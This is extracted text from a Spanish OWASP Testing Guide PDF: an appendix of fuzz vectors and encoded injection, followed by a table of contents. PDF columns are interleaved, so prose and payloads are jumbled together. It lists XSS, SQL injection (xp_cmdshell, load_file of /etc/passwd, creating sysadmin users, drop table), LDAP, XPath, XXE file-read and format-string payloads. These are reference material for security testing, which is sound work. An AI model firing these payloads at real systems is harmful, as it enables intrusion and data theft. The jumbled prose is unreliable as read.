<IMG SRC=”jav
ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav ascript:alert(<WBR>’XSS’);”>
Tenga en cuenta que el intento de cargar un archivo de definición de este tipo
dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se
bloquee
Desbordamiento de búfer y de error de formato de cadena
%s%p%x%d
Buffer Overflows (BFO) (desbordamiento de búfer)
.1024d
Un desbordamiento de memoria o un ataque de corrupción de memoria
es una condición de programación que permite el desbordamiento de %.2049d
datos válidos, más allá de su límite de almacenamiento preubicado en la
memoria. %p%p%p%p
%x%x%x%x
Para más detalles sobre los desbordamientos de memoria: Pruebas de %d%d%d%d

desbordamiento del búfer
%s%s%s%s
%99999999999s
Tenga en cuenta que el intento de cargar un archivo de definición de este
tipo dentro de una aplicación fuzzer puede potencialmente causar que la %08x
aplicación se bloquee.
%%20d
A x5
%%20n
A x 17
%%20x
A x 33
%%20s
A x 65
%s%s%s%s%s%s%s%s%s%s
A x 129
%p%p%p%p%p%p%p%p%p%p
A x 257
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%
A x 513 a%C%S%08x%%
A x 1024 %s x 129
A x 2049
A x 4097 Desbordamientos de números enteros (INT)
A x 8193 Los errores de desbordamiento de números enteros se producen cuando un

programa no tiene en cuenta el hecho de que una operación aritmética puede
A x 12288
resultar en una cantidad ya sea mayor que el valor máximo de un tipo de datos o
menor de su valor mínimo. Si un evaluador puede hacer que el programa realice tal
Errores de cadenas de formato (FSE)
asignación de la memoria, el programa puede ser potencialmente vulnerable a un
ataque de desbordamiento de búfer.
Los ataques por cadenas de formato son una clase de vulnerabilidades que

342
(||6)
-1 ‘ OR 1=1--
0 OR 1=1
0x100 ‘ OR ‘1’=’1
0x1000 ; OR ‘1’=’1’
0x3fffffff %22+or+isnull%281%2F0%29+%2F*
0x7ffffffe %27+OR+%277659%27%3D%277659
0x7fffffff %22+or+isnull%281%2F0%29+%2F*
0x80000000 %27+--+
0xfffffffe ‘ or 1=1--
0xffffffff “ or 1=1--
0x10000 ‘ or 1=1 /*
0x100000 or 1=1--
Inyección SQL ‘ or ‘a’=’a
Este ataque puede afectar a la capa de base de datos de una aplicación y “ or “a”=”a
normalmente está presente cuando la entrada del usuario no está filtrada
para declaraciones SQL. ‘) or (‘a’=’a
Admin’ OR ‘
Para más detalles sobre Pruebas de inyección de SQL: Pruebasde ‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--

inyección SQL
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
La inyección SQL se clasifica en las siguientes dos categorías,
dependiendo de la exposición de la información de base de datos (pasiva)
o de la alteración de la información de base de datos (activa):
‘ having 1=1--
‘ having 1=1--
• Inyección S L Pasiva (Passive SQL Injection)
‘ group by userid having 1=1--
• Inyección S L Activa ( Active S L Injection)
‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = tablename’)--
Las declaraciones de inyección SQL activas pueden tener un efecto ‘ or 1 in (select @@version)--
perjudicial en la base de datos subyacente si se ejecutan con éxito.
‘ union all select @@version--
‘ OR ‘unusual’ = ‘unusual’
Inyección SQL Pasiva (SQP)
‘ OR ‘something’ = ‘some’+’thing’
‘||(elt(-3+5,bin(15),ord(10),hex(char(45))))
‘ OR ‘text’ = N’text’
||6
‘ OR ‘something’ like ‘some%’
‘||’6
‘ OR 2 > 1

343
‘ OR ‘text’ > ‘t’ exec sp_addsrvrolemember ‘name’ , ‘sysadmin’
‘ OR ‘whatever’ in (‘whatever’) INSERT INTO mysql.user (user, host, password) VALUES (‘name’, ‘localhost’,
PASSWORD(‘pass123’))
‘ OR 2 BETWEEN 1 and 3
GRANT CONNECT TO name; GRANT RESOURCE TO name;
‘ or username like char(37);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
‘ union select * from users where login = char(114,111,111,116); char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
‘ union select + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
Password:*/=1--
UNI/**/ON SEL/**/ECT Inyección LDAP
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ para detalles de la inyección LDAP: Prueba de inyección LDAP
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’) |
‘/**/OR/**/1/**/=/**/1 !
‘ or 1/* (
+or+isnull%281%2F0%29+%2F* )
%27+OR+%277659%27%3D%277659 %28
%22+or+isnull%281%2F0%29+%2F* %29
%27+--+&password= &
‘; begin declare @var varchar(8000) set @var=’:’ select %26

@var=@var+’+login+’/’+password+’ ‘ from users where login >
%21
@var select @var as var into temp end --
%7C
*|
‘ and 1 in (select var from temp)--
%2A%7C
‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
*(|(mail=*))
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
%2A%28%7C%28mail%3D%2A%29%29
‘ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
Inyección SQL Activa (SQI)
*()|%26’
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’--
admin*
CREATE USER name IDENTIFIED BY ‘pass123’
admin*)((|userPassword=*)
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users; *)(uid=*))(|(uid=*
‘ ; drop table temp --
exec sp_addlogin ‘name’ , ‘password’ Inyección XPATH

344
Para detalles de la Inyección XPATH: Prueba de inyección XPath otra lengua conocida) en bytes. Un ejemplo de un esquema de codificación
de caracteres utilizado es el Código Estándar Americano para
‘+or+’1’=’1 Intercambio de Información (ASCII) que utilizó inicialmente códigos de 7
bits. Ejemplos más recientes de los esquemas de codificación serían las
‘+or+’’=’ normas estándar Unicode UTF-8 y UTF-16 de la industria de
computación.
x’+or+1=1+or+’x’=’y
/
En el espacio de seguridad de la aplicación, y debido a la gran cantidad de
// esquemas de codificación disponibles, la codificación de caracteres tiene
un mal uso popular. Está siendo utilizada para la codificación de
//* secuencias de inyección maliciosas en una manera que las ofusca. Esto
puede conducir a la desviación del ingreso de filtros de validación, o a
*/* sacar ventaja de las formas particulares en que los navegadores muestran
el texto codificado.
@*
count(/child::node())
Codificación de entrada - Evasión de filtro
x’+or+name()=’username’+or+’x’=’y
Las aplicaciones web suelen emplear diferentes tipos de mecanismos de
filtro de entrada para limitar las entradas que pueden ser enviadas por el
usuario. Si estos filtros de entrada no se aplican lo suficientemente bien,
Inyección XML es posible deslizar uno o dos caracteres a través de estos filtros. Por
ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras
Los detalles de la Inyección XML están aquí: Prueba de inyección XML que el mismo carácter (/) se codifica como C0 AF en Unicode (secuencia 2
byte). Por lo tanto, es importante que el filtrado de control de entrada
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
tenga en cuenta el esquema de codificación utilizado. Si se encuentra que
el filtro está detectando sólo inyecciones codificadas UTF-8, se puede
<?xml version=”1.0” encoding=”ISO-8859-
emplear un esquema de codificación diferente para evitar este filtro.
1”?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[<
]]>/SCRIPT<![CDATA[>]]></foo> Codificación de salida - Servidor y Navegador de Consenso
<?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![CDATA[‘ or 1=1 or Los navegadores web deben estar conscientes del esquema de
‘’=’]]></foof> codificación utilizado para mostrar coherentemente una página web.
Idealmente, esta información debe ser proporcionada al navegador en el
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT encabezado HTTP ("Content-Type"), como se muestra a continuación:
foo ANY><!ENTITY xxe SYSTEM “file://c:/boot.ini”>]><foo>&xee;</foo>
Content-Type: text/html; charset=UTF-8
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT
foo ANY><!ENTITY xxe SYSTEM “file:///etc/passwd”>]><foo>&xee;</foo>
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT o a través de la etiqueta HTML META (“META HTTP-E UIV”), como se
foo ANY><!ENTITY xxe SYSTEM “file:///etc/shadow”>]><foo>&xee;</foo> muestra a continuación:
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT <META http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1”>

foo ANY><!ENTITY xxe SYSTEM “file:///dev/random”>]><foo>&xee;</foo>
Es a través de estas declaraciones de codificación de caracteres que el

Guía de pruebas de OWASP Apéndice D: navegador comprende qué conjunto de caracteres utilizar para convertir
los bytes a caracteres. Tenga en cuenta que el tipo de contenido
Inyección codificada mencionado en el encabezado HTTP tiene prioridad sobre la declaración
de etiqueta META.
Antecedentes
La codificación de caracteres es el proceso de mapeado de caracteres,

números y otros símbolos a un formato estándar. Típicamente, esto se CERT lo describe aquí de la siguiente forma:
hace para crear un mensaje listo para su transmisión entre el emisor y el
receptor. En términos simples, es la conversión de caracteres (que Muchas páginas web dejan la codificación de caracteres (parámetro
pertenecen a diferentes idiomas como el inglés, chino, griego o cualquier "charset" en HTTP) como no definida. En versiones anteriores de HTML y

345
HTTP, se suponía que la codificación de caracteres era por defecto a la
norma ISO-8859-1 si no se definía. De hecho, muchos navegadores tenían
un valor predeterminado diferente, por lo que no era posible confiar en el <IMG SRC=javascript:alert(&#34 ;XSS&#34 ;)> (Numeric reference)
valor por defecto si era ISO-8859-1. La versión 4 HTML legitima esto - si
no se especifica la codificación de caracteres, cualquier codificación de
caracteres puede ser utilizada.
Lo anterior utiliza entidades HTML para construir la cadena de inyección.
La codificación de entidades HTML se utiliza para mostrar los caracteres
que tienen un significado especial en HTML. Por ejemplo, '>' funciona
Si el servidor web no especifica qué codificación de caracteres está en como un paréntesis de cierre para una etiqueta HTML. Con el fin de
uso, no puede decir qué caracteres no especificados son especiales. Las mostrar en realidad este carácter en la página web de las entidades de
páginas web con caracteres no especificados codifican la mayor parte del caracteres HTML, éste debe ser insertado en la página del origen. Las
tiempo, porque la mayoría de los grupos de caracteres asignan los inyecciones mencionadas anteriormente son una forma de codificación.
mismos caracteres a los valores de bytes por debajo de 128. Pero, ¿cuál Hay muchas otras formas en las que una cadena se puede codificar
de los valores por encima de 128 son especiales? Algunos esquemas de (ofuscar) con el fin de eludir el filtro anterior.
codificación de caracteres de 16 bits tienen representaciones de varios
bytes adicionales para caracteres especiales como "<". Algunos
navegadores reconocen esta codificación alternativa y actúan en
consecuencia. Este es un comportamiento "correcto", pero hace que los Codificación Hex
ataques maliciosos mediante secuencias de comandos sean mucho más
difíciles de prevenir. El servidor simplemente no sabe qué secuencias de Hex, abreviatura de hexadecimal, es un sistema de numeración en base a
bytes representan los caracteres especiales 16, es decir, que tiene 16 valores diferentes de 0 a 9 y de A a F para
representar diversos caracteres. La codificación hexadecimal es otra
forma de ofuscación que a veces se utiliza para eludir los filtros de
validación de entrada. Por ejemplo, la versión hexagonal codificada de la
Por lo tanto, en caso de no recibir información del carácter codificado cadena <img src = javascript: alert ( 'XSS')> es
desde el servidor, el navegador puede intentar "adivinar" el esquema de
codificación o volver a un esquema predeterminado. En algunos casos, el
usuario establece explícitamente la codificación por defecto en el
navegador a un esquema diferente. Cualquier discrepancia o no <IMG
coincidencia en el esquema de codificación utilizado por la página web SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74
(servidor) y el navegador, puede hacer que el navegador interprete la %28%27%58%53%53%27%29>
página de una manera inesperada o no deseada.
Una variación de la cadena anterior es la siguiente. Puede ser utilizada en

Inyecciones codificadas caso de que '%' esté siendo filtrada:
Todos los escenarios dados a continuación forman solamente un <IMG

subconjunto de la ofuscación de las diversas maneras que se pueden dar SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3
para eludir los filtros de entrada. Además, el éxito de las inyecciones A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#
codificadas depende del navegador en uso. Por ejemplo, las inyecciones x29>
US-ASCII fueron previamente codificadas con éxito sólo en el navegador
IE, pero no en Firefox. Por lo tanto, puede observarse que las inyecciones
codificadas, en gran medida, dependen del navegador.
Hay otros esquemas de codificación tales como Base64 y Octal que
pueden ser utilizados para la ofuscación.
Codificación básica
Considere un filtro básico de validación de entrada que protege contra la Aunque cada esquema de codificación no puede trabajar cada vez, un
inyección de carácter de comilla simple. En este caso, la inyección que poco de ensayo y error, junto con manipulaciones inteligentes, sin duda
está a continuación evitaría fácilmente este filtro: revelarán la brecha en un filtro de validación de entrada que haya sido
débilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
La función String.fromCharCode Javascript toma los valores Unicode dados y

devuelve la cadena correspondiente. Ésta es una de las formas más básicas de La codificación UTF-7
las inyecciones codificadas. Otro vector que puede ser utilizado para eludir
este filtro es: La codificación UTF-7 de <script> alert ( 'XSS'); </ script> es la
siguienteUTF-7 Encoding
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)>
346
+ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-
Para trabajar con la secuencia anterior de comandos, el navegador tiene

que interpretar la página web como codificada en UTF-7.
Codificación Multi-byte
La codificación de anchura variable es otro tipo de esquema de

codificación de caracteres, que utiliza códigos de duración variable para
codificar caracteres. La codificación de varios bytes es un tipo de anchura
variable de codificación que utiliza un número variable de bytes para
representar un carácter. La codificación multibyte se utiliza
principalmente para codificar los caracteres que pertenecen a un gran
conjunto de caracteres, por ejemplo, chino, japonés y coreano.
La codificación multibyte se ha utilizado en el pasado para eludir las

funciones de validación de entrada estándar y para llevar a cabo este tipo
de ataque y los ataques de inyección SQL.
Referencias
• http://en.wikipedia.org/wiki/Encode_(semiotics)
• http://ha.ckers.org/xss.html
• http://www.cert.org/tech_tips/malicious_code_mitigation.html
• http://www.w3schools.com/HTML/html_entities.asp
• http://www.iss.net/security_center/advice/Intrusions/
2000639/default.htm
• http://searchsecurity.techtarget.com/expert/Knowledgebase-
Answer/0,289625,sid14_gci1212217_tax299989,00.html
• http://www.joelonsoftware.com/articles/Unicode.html

347

Guia de Pruebas Owasp 4.0 Español PDF

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Guia de Pruebas Owasp 4.0 Español PDF

Cargado por

Copyright:

Formatos disponibles

Guia de pruebas 4.

Documento Pre-release cortesía de Fernando Vela para drangonjar.org

LOS ICONOS DE ABAJO REPRESENTAN QUE

ALPHA: el contenido del libro "Calidad Alfa" es

BETA: el contenido del libro "Calidad Beta" es el

RELEASE: el contenido del libro "Calidad de

Documento Pre-release cortesía de Fernando Vela para drangonjar.org

Documento Pre-release cortesía de Fernando Vela para drangonjar.org

Prologo por Eoin Keary

Acerca de el proyecto de guia de pruebas OWASP

Acerca de el Proyecto de Seguirdad de Aplicaciones WEB Abierta

El proyecto de pruebas OWASP

Explicación de las técnicas de prueba

Derivar requerimientos de pruebas de seguirdad

Análisis de datos de prueba de seguridad y reportes

El marco referencial (framework) de pruebas de OWASP

Fase1: Antes del inicio del desarrollo

Documento Pre-release cortesía de Fernando Vela para drangonjar.org

Fase 2: Durante la definición y diseño

Fase 3: Durante el desarrollo

Fase 4: Durante la fase de implementación

Fase 5: Mantenimiento y operaciones

Flujo de trabajo del marco de pruebas de OWASP

Pruebas de seguridad de aplicaciones WEB

Listado de validación de pruebas

Conducir motor de busqueda para el descubrimiento y reconocimiento de fugas de información (OTG-INFO-001)

Huellas digitales servidor WEB (OTG-INFO-002)

Ennumere las aplicaciones en el servidor WEB (OTG-INFO-004)

Identificar puntos de entrada de la aplicación (OTG-INFO-006)

Creación de mapas de rutas de ejecución a través de la aplicación (OTG-INFO-007)

Marco referencial para el uso de huellas digitales en aplicaciones WEB (OTG-INFO-008)

Huellas digitales aplicaciones WEB (OTG-INFO-009)

Mapa de arquitectura de la aplicación (OTG-INFO-010)

Pruebas para gestionar la configuración y la implementación

Prueba configuración Red/Infraestructura (OTG-CONFIG-001)

Prueba de la configuración de la plataforma de aplicaciónes (OTG-CONFIG-002)

Prueba manejo de archivos de extensiones en busca información sensible (OTG-CONFIG-003)

Enumeración Infraestructura y de Interfaces de administración de aplicaciones (OTG-CONFIG-005)

Documento Pre-release cortesía de Fernando Vela para drangonjar.org

Prueba metodos HTTP (OTG-CONFIG-006)

Prueba HTTP Strict Transport Security (OTG-CONFIG-007)

Prueba política de dominio cruzado RIA (OTG-CONFIG-008)

Pruebas de Administración de Identidad

Prueba de definición de roles (OTG-IDENT-001)

Prueba proceso de registro de usuarios (OTG-IDENT-002)

Prueba proceso de provisión de cuentas (OTG-IDENT-003)

Pruebas para ennumeración de cuentas y adivinanza de cuentas de usuario (OTG-IDENT-004)

Pruebas politica de nombre de usuarios debiles o sin fuerza (OTG-IDENT-005)

Pruebas para credenciales transportadas sobre canales encriptados (OTG-AUTHN-001)

Pruebas credenciales por defecto (OTG-AUTHN-002)

Pruebas para mecanismos de seguridad débiles (OTG-AUTHN-003)

Pruebas para eludir el esquema de autenticación (OTG-AUTHN-004)

Prueba funcionalidad recordatorio de clave (OTG-AUTHN-005)

Prueba para debilidades en la memoria del navegador (OTG-AUTHN-006)

Prueba para politica de clave débil (OTG-AUTHN-007)

Prueba para seguirdad pregunta/respuest débil (OTG-AUTHN-008)

Prueba para cambios de clave débil o funcionalidades de reinio. (OTG-AUTHN-009)

Prueba para autenticación débil en canal alternativo (OTG-AUTHN-010)

Prueba de inclusión archivos de directorio de circulación (OTG-AUTHZ-001)

Prueba para evadir el esquema de autorización (OTG-AUTHZ-002)

Prueba para escalación de privilegios (OTG-AUTHZ-003)

Prueba de la referencia de objetos directos inseguros (OTG-AUTHZ-004)

Pruebas de administración e sesión